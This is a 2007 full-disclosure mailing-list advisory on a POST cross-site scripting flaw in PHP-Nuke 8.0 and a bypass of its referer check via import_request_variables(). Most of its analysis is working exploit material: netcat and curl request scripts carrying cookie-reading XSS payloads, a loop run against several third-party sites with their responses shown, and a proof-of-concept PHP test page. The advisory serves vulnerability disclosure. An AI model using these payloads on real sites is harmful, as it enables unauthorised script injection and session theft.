[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <45F18BA5.50500@katamail.com>
Date: Fri, 09 Mar 2007 17:30:29 +0100
From: ascii <ascii@...amail.com>
To: full-disclosure@...ts.grok.org.uk, news@...uriteam.com,
vulnwatch@...nwatch.org, bugtraq@...urityfocus.com,
vuln@...urity.nnov.ru, webappsec@...ts.owasp.org
Cc: Stefano Di Paola <stefano.dipaola@...ec.it>
Subject: Php Nuke POST XSS on steroids
Php Nuke POST XSS on steroids
Name Php Nuke POST XSS on steroids
Systems Affected PHP >=4.0.7 <=5.2.1, GLOBALS OFF, Php Nuke 8.0 and
others (partially verified)
Severity Medium
Vendor http://php nuke.org/
Advisory http://www.ush.it/2007/03/09/php-nuke-wild-post-xss/
Authors Francesco `ascii` Ongaro (ascii@....it)
Stefano `wisec` di Paola (stefano.dipaola@...ec.it)
Date 20070307
I. BACKGROUND
Php Nuke is a CMS written in PHP. This advisory is just an example on
how to exploit an XSS on platforms that use anti CSRF techniques with
the import_request_variables() bypass.
II. DESCRIPTION
An XSS vulnerability exists in the handling of the query post variable
in the Search function of the Downloads module. This is exploitable in
special conditions; you need:
- PHP >=4.0.7 <=5.2.1 to use the import_request_variables() trick
- register_globals off (doesn't work with globals on)
- Php Nuke 8 and others
III. ANALYSIS
Php Nuke 8.0 is vulnerable to an XSS on _POST, you can verify this using
the provided testsuite.
--- >8 --- >8 --- >8 --- >8 --- testsuite.sh --- >8 --- >8 --- >8 --- >8
#!/bin/bash
cat > REQ << TOKEN
POST /modules.php?name=Downloads&d_op=search&query= HTTP/1.1
Host: www.phpnuke.org
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2)
Gecko/20070220 Firefox/2.0.0.2
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Referer: http://www.phpnuke.org/modules.php?name=Downloads
Cookie: lang=english
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
query=token<>token
TOKEN
cat REQ | nc www.phpnuke.org 80 -vvv
--- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8
$ ./testcase | grep "token<>token"
DNS fwd/rev mismatch: www.phpnuke.org != ev1s-67-15-16-43.ev1servers.net
www.phpnuke.org [67.15.16.43] 80 (http) open
<form
action="modules.php?name=Downloads&d_op=search&query=token<>toke
Infact the injection is in the form action:
<form
action="modules.php?name=Downloads&d_op=search&query=token<>token"
method="post">
When you will try to apply CSRF to this bug (eg. you need a gateway page
to send the post query) you'll notice that Php Nuke has a generic piece
of code in mainfile.php that prevents posting with a "wrong" referrer.
Test this with the following two testsuites:
--- >8 --- >8 --- >8 --- >8 --- testsuit1.sh --- >8 --- >8 --- >8 --- >8
#!/bin/bash
cat > REQ << TOKEN
POST /modules.php?name=Downloads&d_op=search&query= HTTP/1.1
Host: www.phpnuke.org
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2)
Gecko/20070220 Firefox/2.0.0.2
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Referer: http://www.phpnuke.org/modules.php?name=Downloads
Cookie: lang=english
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
query="><img src=evil onerror=alert(document.cookie) />
TOKEN
cat REQ | nc www.phpnuke.org 80 -vvv
--- >8 --- >8 --- >8 --- >8 --- testsuit2.sh --- >8 --- >8 --- >8 --- >8
#!/bin/bash
cat > REQ << TOKEN
POST /modules.php?name=Downloads&d_op=search&query= HTTP/1.1
Host: www.phpnuke.org
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2)
Gecko/20070220 Firefox/2.0.0.2
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Referer: http://www.evil.com/
Cookie: lang=english
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
query="><img src=evil onerror=alert(document.cookie) />
TOKEN
cat REQ | nc www.phpnuke.org 80 -vvv
--- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8
In the first case the attack will succeed cause the referrer matches, in
the second the anti-off-domain-post-check will block your attempt and
you'll get a message like: Posting from another server not allowed!
It seems that other versions have this check too.
--- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8
for i in `cat urls.txt`; do
echo $i; curl -s "http://$1/modules.php?name=Downloads&d_op=search" \
-d 'query=asd&query="token<img src="wrong"
onerror=alert(document.cookie) /><"' \
-e "www.tin.it" -H "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1";
done; echo
http://XXXXopic.it/
Posting from another server not allowed!
http://XXXXnuke.org/
Posting from another server not allowed!
http://XXXXir.it/
Posting from another server not allowed!
http://XXXXesi.it/
Posting from another server not allowed!
http://XXXXoft.it/
Posting from another server not allowed!
--- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8
The initial part of mainfile.php can be synthesized as following:
--- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8
// get php version
$phpver = phpversion();
// convert superglobals if php is lower then 4.1.0
if ($phpver < '4.1.0') {
[..cut..]
}
// override old superglobals if php is higher then 4.1.0
if($phpver >= '4.1.0') {
[..cut..]
}
if (!ini_get('register_globals')) {
@import_request_variables("GPC", "");
}
[..]
// Posting from other servers in not allowed
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (isset($_SERVER['HTTP_REFERER'])) {
if (!stripos_clone($_SERVER['HTTP_REFERER'], $_SERVER['HTTP_HOST']))
die('Posting from another server not allowed!');
} else die($posttags);
}
--- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8
So if globals are off using the import_request_variables() trick we can
overwrite the _SERVER array and bypass the check (yes, you can do a lot
of other things too, this is just an example).
Use this code to replicate the issue:
--- >8 --- >8 --- >8 --- >8 --- poc.sh --- >8 --- >8 --- >8 --- >8
#!/bin/bash
cat > testsuite.php << TOKEN
<?php
echo 'GLOBALS '.(int)ini_get("register_globals")."\\n";
if (!ini_get('register_globals')) import_request_variables('GPC');
// Posting from other servers in not allowed
if (\$_SERVER['REQUEST_METHOD'] == "POST") {
if (isset(\$_SERVER['HTTP_REFERER'])) {
if (!stripos(\$_SERVER['HTTP_REFERER'], \$_SERVER['HTTP_HOST']))
die('Posting from another server not allowed!');
} else die('No referer!');
}
echo 'IM THE PAGE!'."\n";
?>
TOKEN
--- >8 --- >8 --- >8 --- >8 --- ------ --- >8 --- >8 --- >8 --- >8
$ curl "http://XXXX/hack-phpnuke8/testsuite.php"
GLOBALS 0
IM THE PAGE!
$ curl "http://XXXX/hack-phpnuke8/testsuite.php" -d "ima=post"
GLOBALS 0
No referer!
$ curl "http://XXXX/hack-phpnuke8/testsuite.php" -d "ima=post" \
-e "www.tin.it"
GLOBALS 0
Posting from another server not allowed!
$ curl "http://ascii.asciinb.vlan.ush.it/hack-phpnuke8/testsuite.php" \
-d "ima=post&_SERVER=evil" -e "www.tin.it"
GLOBALS 0
IM THE PAGE!
Doesn't this seems cyclic to you? stripos will return TRUE if the
array element doesn't exists.
IV. DETECTION
Php Nuke 8.0 and others are affected, please test with the supplied
testsuites.
You can download Php Nuke from here : )
https://secure.bmtmicro.com/servlets/Orders.ShoppingCart?CID=4&PRODUCTID=19850011
V. WORKAROUND
Turn globals on.
VI. VENDOR RESPONSE
Will fix, probably.
VII. CVE INFORMATION
No CVE at this time.
VIII. DISCLOSURE TIMELINE
20070307 Discovery
20070308 What do you expect here?
20070309 Full disclosure
IX. CREDIT
Francesco 'ascii' Ongaro is credited with the discovery of this
vulnerability.
X. LEGAL NOTICES
Copyright (c) 2007 Francesco 'ascii' Ongaro
Note: this exploit is DOUBLE LICENSED:
1. If you'll use it for personal and non-profit purposes you can
apply GPL v2 and above.
2. In the case you plain to:
a. use our code in any commercial context
b. implement this code in your non-GPL application
c. use this code during a Penetration Test
d. make any profit from it
you need to contact me in order to obtain a _commercial license_.
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without my express
written consense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email me for permission.
Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
Regards,
Francesco `ascii` Ongaro
http://www.ush.it/
Powered by blists - more mailing lists